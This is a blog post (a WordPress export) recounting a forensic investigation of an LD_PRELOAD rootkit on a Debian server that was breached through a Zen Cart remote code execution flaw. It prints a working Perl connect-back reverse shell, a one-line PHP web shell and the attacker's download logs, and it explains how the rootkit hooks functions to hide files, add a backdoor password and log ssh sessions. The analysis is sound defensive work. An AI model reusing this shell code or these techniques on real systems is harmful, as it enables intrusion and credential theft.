{"id":732,"date":"2009-08-21T14:59:30","date_gmt":"2009-08-21T11:59:30","guid":{"rendered":"http:\/\/www.void.gr\/kargig\/blog\/?p=732"},"modified":"2009-10-06T22:04:36","modified_gmt":"2009-10-06T19:04:36","slug":"theres-a-rootkit-in-the-closet","status":"publish","type":"post","link":"https:\/\/www.void.gr\/kargig\/blog\/2009\/08\/21\/theres-a-rootkit-in-the-closet\/","title":{"rendered":"There’s a rootkit in the closet!"},"content":{"rendered":"

Part 1: Finding the rootkit<\/strong><\/em><\/p>\n

It’s monday morning and I am for coffee in downtown Thessaloniki<\/a>, a partner calls:
\n– On machine XXX mysqld is not starting since Saturday.
\n– Can I drink my coffee and come over later to check it ? Is it critical ?
\n– Nope, come over anytime you can…<\/p>\n

Around 14:00 I go over to his company to check on the box. It’s a debian oldstable (etch) that runs apache2 with xoops CMS + zencart (version unknown), postfix, courier-imap(s)\/pop3(s), bind9 and mysqld. You can call it a LAMP machine with a neglected CMS which is also running as a mailserver…<\/p>\n

I log in as root, I do a ps ax<\/em> and the first thing I notice is apache having more than 50 threads running. I shut apache2 down via \/etc\/init.d\/apache2 stop<\/em>. Then I start poking at mysqld. I can’t see it running on ps so I try starting it via the init.d script. Nothing…it hangs while trying to get it started. I suspect a failing disk so I use tune2fs -C 50 \/dev\/hda1<\/em> to force an e2fck on boot and I reboot the machine. The box starts booting, it checks the fs, no errors found, it continues and hangs at starting mysqld. I break out of the process and am back at login screen. I check the S.M.A.R.T. status of the disk via smartctl -a \/dev\/hda<\/em>, all clear, no errors found. Then I try to start mysqld manually, it looks like it starts but when I try to connect to it via a mysql client I get no response. I try to move \/var\/lib\/mysql\/<\/em> files to another location and to re-init the mysql database. Trying to start mysqld after all that, still nothing.<\/p>\n

Then I try to downgrade mysql to the previous version. Apt-get process tries to stop mysqld before it replaces it with the older version and it hangs, I try to break out of the process but it’s impossible…after a few killall -9 mysqld_safe;killall -9 mysql; killall -9 mysqladmin<\/em> it finally moves on but when it tries to start the downgraded mysqld version it hangs once again. That’s totally weird…<\/p>\n

I try to ldd \/usr\/sbin\/mysqld<\/em> and I notice a very strange library named \/lib\/ld-linuxv.so.1<\/strong> in the output. I had never heard of that library name before so I google. Nothing comes up. I check on another debian etch box I have for the output of ldd \/usr\/sbin\/mysqld and no library \/lib\/ld-linuxv.so.1 comes up. I am definitely watching something that it shouldn’t be there. And that’s a rootkit<\/strong>!<\/p>\n

I ask some friends online but nobody has ever faced that library rootkit before. I try to find that file on the box but it’s nowhere to be seen inside \/lib\/…the rootkit hides itself pretty well. I can’t see it with ls \/lib<\/em> or echo \/lib\/*<\/em>. The rootkit has probably patched the kernel functions that allow me to see it. Strangely though I was able to see it with ldd (more about the technical stuff on the second half of the post). I try to check on some other executables in \/sbin with a for i in \/usr\/sbin\/*;do ldd $i; done<\/em>, all of them appear to have \/lib\/ld-linuxv.so.1 as a library dependency. I try to reboot the box with another kernel than the one it’s currently using but I get strange errors that it can’t even find the hard disk.<\/p>\n

I try to downgrade the “working” kernel in an attempt of booting the box cleanly without the rootkit. I first take backups of the kernel and initramfs which are about to be replaced of course. When apt-get procedure calls mkinitramfs in order to create the initramfs image I notice that there are errors saying that it can’t delete \/tmp\/mkinitramfs_UVWXYZ\/lib\/ld-linuxv.so.1<\/em> file, so rm fails and that makes mkinitramfs fail as well.<\/p>\n

I decide that I am doing more harm than good to the machine at the time and that I should first get an image of the disk before I fiddle any more with it. So I shut the box down. I set up a new box with most of the services that should be running (mail + dns), so I had the option to check on the disk with the rootkit on my own time.<\/p>\n

Part 2: Technical analysis<\/strong><\/em>
\nI. First look at the ld-linuxv.so.1 library<\/strong><\/p>\n

A couple of days later I put the disk to my box and made an image of each partition using dd:
\ndd if=\/dev\/sdb1 of=\/mnt\/image\/part1 bs=64k<\/code><\/p>\n

Then I could mount the image using loop to play with it:
\nmount -o loop \/mnt\/image\/part1 \/mnt\/part1<\/code><\/p>\n

A simple ls of \/mnt\/part1\/lib\/ revealed that ld-linuxv.so.1 was there. I run strings to it:
\n# strings \/lib\/ld-linuxv.so.1
\n__gmon_start__
\n_init
\n_fini
\n__cxa_finalize
\n_Jv_RegisterClasses
\nexecve
\ndlsym
\nfopen
\nfprintf
\nfclose
\nputs
\nsystem
\ncrypt
\nstrdup
\nreaddir64
\nstrstr
\n__xstat64
\n__errno_location
\n__lxstat64
\nopendir
\nlogin
\npututline
\nopen64
\npam_open_session
\npam_close_session
\nsyslog
\nvasprintf
\ngetspnam_r
\ngetspnam
\ngetpwnam
\npam_authenticate
\ninssh
\ngotpass
\n__libc_start_main
\nlogit
\nsetuid
\nsetgid
\nseteuid
\nsetegid
\nread
\nfwrite
\naccept
\nhtons
\ndoshell
\ndoconnect
\nfork
\ndup2
\nstdout
\nfflush
\nstdin
\nfscanf
\nsleep
\nexit
\nwaitpid
\nsocket
\nlibdl.so.2
\nlibc.so.6
\n_edata
\n__bss_start
\n_end
\nGLIBC_2.0
\nGLIBC_2.1.3
\nGLIBC_2.1
\nroot
\n@^_]
\n`^_]
\nld.so.preload
\nld-linuxv.so.1
\n_so_cache
\nexecve
\n\/var\/opt\/_so_cache\/ld
\n%s:%s
\nWelcome master
\ncrypt
\nreaddir64
\n__xstat64
\n__lxstat64
\nopendir
\nlogin
\npututline
\nopen64
\nlastlog
\npam_open_session
\npam_close_session
\nsyslog
\ngetspnam_r
\n$1$UFJBmQyU$u2ULoQTJbwDvVA70ocLUI0
\ngetspnam
\ngetpwnam
\nroot
\n\/dev\/null
\nnormal
\npam_authenticate
\npam_get_item
\nPassword:
\n__libc_start_main
\n\/var\/opt\/_so_cache\/lc
\nlocal
\n\/usr\/sbin\/sshd
\n\/bin\/sh
\nread
\nwrite
\naccept
\n\/usr\/sbin\/crond
\nHISTFILE=\/dev\/null
\n%99s
\n$1$UFJBmQyU$u2ULoQTJbwDvVA70ocLUI0
\n\/bin\/sh<\/code><\/p>\n

As one can easily see there’s some sort of password hash inside and references to \/usr\/sbin\/sshd, \/bin\/sh and setting HISTFILE to \/dev\/null.<\/p>\n

I took the disk image to my friend argp<\/a> to help me figure out what exactly the rootkit does and how it was planted to the box.<\/p>\n

II. What the rootkit does<\/strong><\/p>\n

Initially, while casually discussing the incident, kargig and myself (argp) we thought that we had to do with a kernel rootkit. However, after carefully studying the disassembled dead listing of ld-linuxv.so.1, it became clear that it was a shared library based rootkit. Specifically, the intruder created the \/etc\/ld.so.preload file on the system with just one entry; the path of where he saved the ld-linuxv.so.1 shared library, namely \/lib\/ld-linuxv.so.1. This has the effect of preloading ld-linuxv.so.1 every single time a dynamically linked executable is run by a user. Using the well-known technique of dlsym(RTLD_NEXT, symbol)<\/strong>, in which the run-time address of the symbol after the current library is returned to allow the creation of wrappers, the ld-linuxv.so.1 shared library trojans (or hijacks) several functions. Below is a list of some of the functions the shared library hijacks and brief explanations of what some of them do:
\ncrypt
\nreaddir64
\n__xstat64
\n__l xstat64
\nopendir
\nlogin
\npututline
\nopen64
\npam_open_session
\npam_close_session
\nsyslog
\ngetspnam_r
\ngetspnam
\ngetpwnam
\npam_authenticate
\npam_get_item
\n__libc_start_main
\nread
\nwrite
\naccept<\/code><\/p>\n

The hijacked accept() function sends a reverse, i.e. outgoing, shell to the IP address that initiated the incoming connection at port 80 only if the incoming IP address is a specific one. Afterwards it calls the original accept() system call. The hijacked getspnam() function sets the encrypted password entry of the shadow password structure (struct spwd->sp_pwdp) to a predefined hardcoded value (“$1$UFJBmQyU$u2ULoQTJbwDvVA70ocLUI0”). The hijacked read() and write() functions of the shared library wrap the corresponding system calls and if the current process is ssh (client or daemon), their buffers are appended to the file \/var\/opt\/_so_cache\/lc <\/strong> for outgoing ssh connections, or to \/var\/opt\/_so_cache\/ld<\/strong> for incoming ones (sshd). These files are also kept hidden using the same approach as described above.<\/p>\n

III. How the rootkit was planted in the box<\/strong><\/p>\n

While argp was looking at the objdump output, I decided to take a look at the logs of the server. The first place I looked was the apache2 logs. Opening \/mnt\/part1\/var\/log\/apache2\/access.log.* didn’t provide any outcome at first sight, nothing really striking out, but when I opened \/mnt\/part1\/var\/log\/apache2\/error.log.1 I faced these entries at the bottom:<\/p>\n

–01:05:38– http:\/\/ABCDEFGHIJ.150m.com\/foobar.ext
\n=> `foobar.ext’
\nResolving ABCDEFGHIJ.150m.com… 209.63.57.10
\nConnecting to ABCDEFGHIJ.150m.com|209.63.57.10|:80… connected.
\nHTTP request sent, awaiting response… 200 OK
\nLength: 695 [text\/plain]
\nfoobar.ext: Permission denied<\/p>\n

Cannot write to `foobar.ext’ (Permission denied).
\n–01:05:51– http:\/\/ABCDEFGHIJ.150m.com\/foobar.ext
\n=> `foobar.ext’
\nResolving ABCDEFGHIJ.150m.com… 209.63.57.10
\nConnecting to ABCDEFGHIJ.150m.com|209.63.57.10|:80… connected.
\nHTTP request sent, awaiting response… 200 OK
\nLength: 695 [text\/plain]<\/p>\n

0K 100% 18.61 MB\/s<\/p>\n

01:05:51 (18.61 MB\/s) – `foobar.ext’ saved [695\/695]<\/p>\n

–01:17:14– http:\/\/ABCDEFGHIJ.150m.com\/foobar.ext
\n=> `foobar.ext’
\nResolving ABCDEFGHIJ.150m.com… 209.63.57.10
\nConnecting to ABCDEFGHIJ.150m.com|209.63.57.10|:80… connected.
\nHTTP request sent, awaiting response… 200 OK
\nLength: 695 [text\/plain]
\nfoobar.ext: Permission denied<\/p>\n

Cannot write to `foobar.ext’ (Permission denied).
\n–01:17:26– http:\/\/ABCDEFGHIJ.150m.com\/foobar.ext
\n=> `foobar.ext’
\nResolving ABCDEFGHIJ.150m.com… 209.63.57.10
\nConnecting to ABCDEFGHIJ.150m.com|209.63.57.10|:80… connected.
\nHTTP request sent, awaiting response… 200 OK
\nLength: 695 [text\/plain]<\/p>\n

0K 100% 25.30 MB\/s<\/p>\n

01:17:26 (25.30 MB\/s) – `foobar.ext’ saved [695\/695]<\/p><\/blockquote>\n

So this was the entrance point. Someone got through a web app to the box and was able to run code.
\nI downloaded “foobar.ext” from the same url and it was a perl script.<\/p>\n

#!\/usr\/bin\/perl
\n# Data Cha0s Perl Connect Back Backdoor Unpublished\/Unreleased Source
\n# Code<\/p>\n

use Socket;<\/p>\n

print “[*] Dumping Arguments\\n”;<\/p>\n

$host = “A.B.C.D”;
\n$port = XYZ;<\/p>\n

if ($ARGV[1]) {
\n$port = $ARGV[1];
\n}
\nprint “[*] Connecting…\\n”; $proto = getprotobyname(‘tcp’) || die(“[-] Unknown Protocol\\n”);<\/p>\n

socket(SERVER, PF_INET, SOCK_STREAM, $proto) || die (“[-] Socket Error\\n”);<\/p>\n

my $target = inet_aton($host);<\/p>\n

if (!connect(SERVER, pack “SnA4x8”, 2, $port, $target)) {
\ndie(“[-] Unable to Connect\\n”);
\n}
\nprint “[*] Spawning Shell\\n”;<\/p>\n

if (!fork( )) {
\nopen(STDIN,”>&SERVER”);
\nopen(STDOUT,”>&SERVER”);
\nopen(STDERR,”>&SERVER”);
\nexec {‘\/bin\/sh’} ‘-bash’ . “\\0” x 4;
\nexit(0);
\n}<\/p><\/blockquote>\n

Since I got the time when foobar.ext was downloaded I looked again at the apache2 access.log to see what was going on at the time.
\nHere are some entries:<\/p>\n

A.B.C.D – – [15\/Aug\/2009:01:05:33 +0300] “GET http:\/\/www.domain.com\/admin\/ HTTP\/1.1” 302 – “-” “Mozilla Firefox”
\nA.B.C.D – – [15\/Aug\/2009:01:05:34 +0300] “POST http:\/\/www.domain.com\/admin\/record_company.php\/password_forgotten.php?action=insert HTTP\/1.1” 200 303 “-” “Mozilla Firefox”
\nA.B.C.D – – [15\/Aug\/2009:01:05:34 +0300] “GET http:\/\/www.domain.com\/images\/imagedisplay.php HTTP\/1.1” 200 131 “-” “Mozilla Firefox”
\nA.B.C.D – – [15\/Aug\/2009:01:05:38 +0300] “GET http:\/\/www.domain.com\/images\/imagedisplay.php HTTP\/1.1” 200 – “-” “Mozilla Firefox”
\nA.B.C.D – – [15\/Aug\/2009:01:05:47 +0300] “GET http:\/\/www.domain.com\/images\/imagedisplay.php HTTP\/1.1” 200 52 “-” “Mozilla Firefox”
\nA.B.C.D – – [15\/Aug\/2009:01:05:50 +0300] “GET http:\/\/www.domain.com\/images\/imagedisplay.php HTTP\/1.1” 200 – “-” “Mozilla Firefox”
\nA.B.C.D – – [15\/Aug\/2009:01:05:51 +0300] “GET http:\/\/www.domain.com\/images\/imagedisplay.php HTTP\/1.1” 200 59 “-” “Mozilla Firefox”<\/p><\/blockquote>\n

The second entry, with the POST looks pretty strange. I opened the admin\/record_company.php file and discovered that it is part of zen-cart<\/a>. The first result of googling for “zencart record_company<\/a>” is this: Zen Cart ‘record_company.php’ Remote Code Execution Vulnerability<\/a>. So that’s exactly how they were able to run code as the apache2 user.<\/p>\n

Opening images\/imagedisplay.php shows the following code:
\n<?php system($_SERVER[\"HTTP_SHELL\"]); ?><\/code>
\nThis code allows running commands using the account of the user running the apache2 server.<\/p>\n

Part 3: Conclusion and food for thought<\/strong><\/em>
\nTo conclude on what happened:<\/strong>
\n1) The attacker used the zencart<\/strong> vulnerability to create the imagedisplay.php<\/strong> file.
\n2) Using the imagedisplay.php file he was able to make the server download foobar.ext<\/strong> from his server.
\n3) Using the imagedisplay.php file he was able to run the server run foobar.ext which is a reverse shell<\/strong>. He could now connect to the machine.
\n4) Using some local exploit<\/strong>(s) he was probably able to become root.
\n5) Since he was root he uploaded\/compiled ld-linuxv.so.1<\/strong> and he created \/etc\/ld.so.preload<\/strong>. Now every executable would first load this “trojaned” library which allows him backdoor access to the box and is hidding from the system. So there is his rootkit \ud83d\ude42<\/p>\n

Fortunately the rootkit had problems and if \/var\/opt\/_so_cache\/ directory was not manually created it couldn’t write the lc and ld files inside it. If you created the _so_cache dir then it started logging.<\/p>\n

If there are any more discoveries about the rootkit they will be posted in a new post. If someone else wants to analyze the rootkit I would be more than happy if he\/she put a link to the analysis as a comment on this blog.<\/p>\n

Part 4: Files<\/strong><\/em><\/p>\n

In the following tar.gz you will find the ld-linuxv.so.1 library and the perl script foobar.ext (Use at your own risk. Attacker’s host\/ip have been removed from the perl script):linuxv-rootkit.tar.gz<\/a><\/strong><\/p>\n

Many many thanks<\/strong> to argp<\/a> of Census Labs<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"

Part 1: Finding the rootkit It’s monday morning and I am for coffee in downtown Thessaloniki, a partner calls: – On machine XXX mysqld is not starting since Saturday. – Can I drink my coffee and come over later to check it ? Is it critical ? – Nope, come over anytime you can… Around […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"ep_exclude_from_search":false,"footnotes":""},"categories":[3],"tags":[182,186,33,175,180,184,183,595,48,179,176,206,181,185,178,177],"class_list":["post-732","post","type-post","status-publish","format-standard","hentry","category-linux","tag-apache2","tag-audit","tag-debian","tag-etch","tag-exploit","tag-ld-linuxv","tag-ld-linuxv-so-1","tag-linux","tag-perl","tag-record_company","tag-rootkit","tag-security","tag-trojan","tag-vulnerability","tag-zen-cart","tag-zencart"],"aioseo_notices":[],"views":139800,"_links":{"self":[{"href":"https:\/\/www.void.gr\/kargig\/blog\/wp-json\/wp\/v2\/posts\/732","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.void.gr\/kargig\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.void.gr\/kargig\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.void.gr\/kargig\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.void.gr\/kargig\/blog\/wp-json\/wp\/v2\/comments?post=732"}],"version-history":[{"count":39,"href":"https:\/\/www.void.gr\/kargig\/blog\/wp-json\/wp\/v2\/posts\/732\/revisions"}],"predecessor-version":[{"id":873,"href":"https:\/\/www.void.gr\/kargig\/blog\/wp-json\/wp\/v2\/posts\/732\/revisions\/873"}],"wp:attachment":[{"href":"https:\/\/www.void.gr\/kargig\/blog\/wp-json\/wp\/v2\/media?parent=732"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.void.gr\/kargig\/blog\/wp-json\/wp\/v2\/categories?post=732"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.void.gr\/kargig\/blog\/wp-json\/wp\/v2\/tags?post=732"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}